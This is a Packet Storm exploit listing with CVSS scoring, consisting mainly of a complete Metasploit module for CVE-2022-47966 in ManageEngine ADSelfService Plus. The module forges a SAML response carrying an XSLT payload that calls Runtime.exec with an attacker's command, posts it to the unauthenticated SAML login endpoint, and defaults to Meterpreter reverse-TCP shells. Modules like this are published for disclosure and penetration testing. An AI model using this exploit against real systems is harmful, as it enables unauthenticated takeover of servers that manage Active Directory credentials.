Lucene search

K
packetstormChristophe de la Fuente, Khoa Dinh, horizon3ai, metasploit.comPACKETSTORM:170925
HistoryFeb 08, 2023 - 12:00 a.m.

ManageEngine ADSelfService Plus Unauthenticated SAML Remote Code Execution

2023-02-0800:00:00
Christophe de la Fuente, Khoa Dinh, horizon3ai, metasploit.com
packetstormsecurity.com
205

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

`# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE',  
'Description' => %q{  
This exploits an unauthenticated remote code execution vulnerability  
that affects Zoho ManageEngine AdSelfService Plus versions 6210 and  
below (CVE-2022-47966). Due to a dependency to an outdated library  
(Apache Santuario version 1.4.1), it is possible to execute arbitrary  
code by providing a crafted `samlResponse` XML to the ADSelfService Plus  
SAML endpoint. Note that the target is only vulnerable if it has been  
configured with SAML-based SSO at least once in the past, regardless of  
the current SAML-based SSO status.  
},  
'Author' => [  
'Khoa Dinh', # Original research  
'horizon3ai', # PoC  
'Christophe De La Fuente' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-47966'],  
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],  
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],  
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],  
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']  
],  
'Platform' => ['win'],  
'Payload' => {  
'BadChars' => "\x27"  
},  
'Targets' => [  
[  
'Windows EXE Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_dropper,  
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_command,  
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }  
}  
]  
],  
'DefaultOptions' => {  
'RPORT' => 9251,  
'SSL' => true  
},  
'DefaultTarget' => 1,  
'DisclosureDate' => '2023-01-10',  
'Notes' => {  
'Stability' => [CRASH_SAFE,],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
},  
'Privileged' => true  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]),  
OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]),  
OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]),  
OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"' ])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID'])  
)  
return CheckCode::Unknown unless res  
  
return CheckCode::Safe unless res.code == 200  
  
product = res.get_html_document.xpath('//title').first&.text  
unless product == 'ADSelfService Plus'  
return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})")  
end  
  
CheckCode::Detected  
end  
  
def encode_begin(real_payload, reqs)  
super  
  
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|  
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw  
end  
end  
  
def exploit  
case target['Type']  
when :windows_command  
execute_command(payload.encoded)  
when :windows_dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
if target['Type'] == :windows_dropper  
cmd = "cmd /c #{cmd}"  
end  
cmd = cmd.encode(xml: :attr).gsub('"', '')  
  
assertion_id = "_#{SecureRandom.uuid}"  
# Randomize variable names and make sure they are all different using a Set  
vars = Set.new  
loop do  
vars << Rex::Text.rand_text_alpha_lower(5..8)  
break unless vars.size < 3  
end  
vars = vars.to_a  
saml = <<~EOS  
<?xml version="1.0" encoding="UTF-8"?>  
<samlp:Response  
ID="_#{SecureRandom.uuid}"  
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">  
<samlp:Status>  
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>  
</samlp:Status>  
<Assertion ID="#{assertion_id}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">  
<Issuer>#{datastore['ISSUER_URL']}</Issuer>  
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">  
<ds:SignedInfo>  
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>  
<ds:Reference URI="##{assertion_id}">  
<ds:Transforms>  
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">  
<xsl:stylesheet version="1.0"  
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"  
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:template match="/">  
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>  
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>  
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>  
<xsl:value-of select="$#{vars[2]}"/>  
</xsl:template>  
</xsl:stylesheet>  
</ds:Transform>  
</ds:Transforms>  
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>  
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>  
</ds:Reference>  
</ds:SignedInfo>  
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>  
<ds:KeyInfo/>  
</ds:Signature>  
</Assertion>  
</samlp:Response>  
EOS  
  
relay_state_url = datastore['RELAY_STATE']  
if relay_state_url.blank?  
relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth"  
end  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']),  
'vars_get' => {  
'RelayState' => Rex::Text.encode_base64(relay_state_url)  
},  
'vars_post' => {  
'SAMLResponse' => Rex::Text.encode_base64(saml)  
}  
})  
  
unless res&.code == 200  
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})")  
end  
  
res  
end  
  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H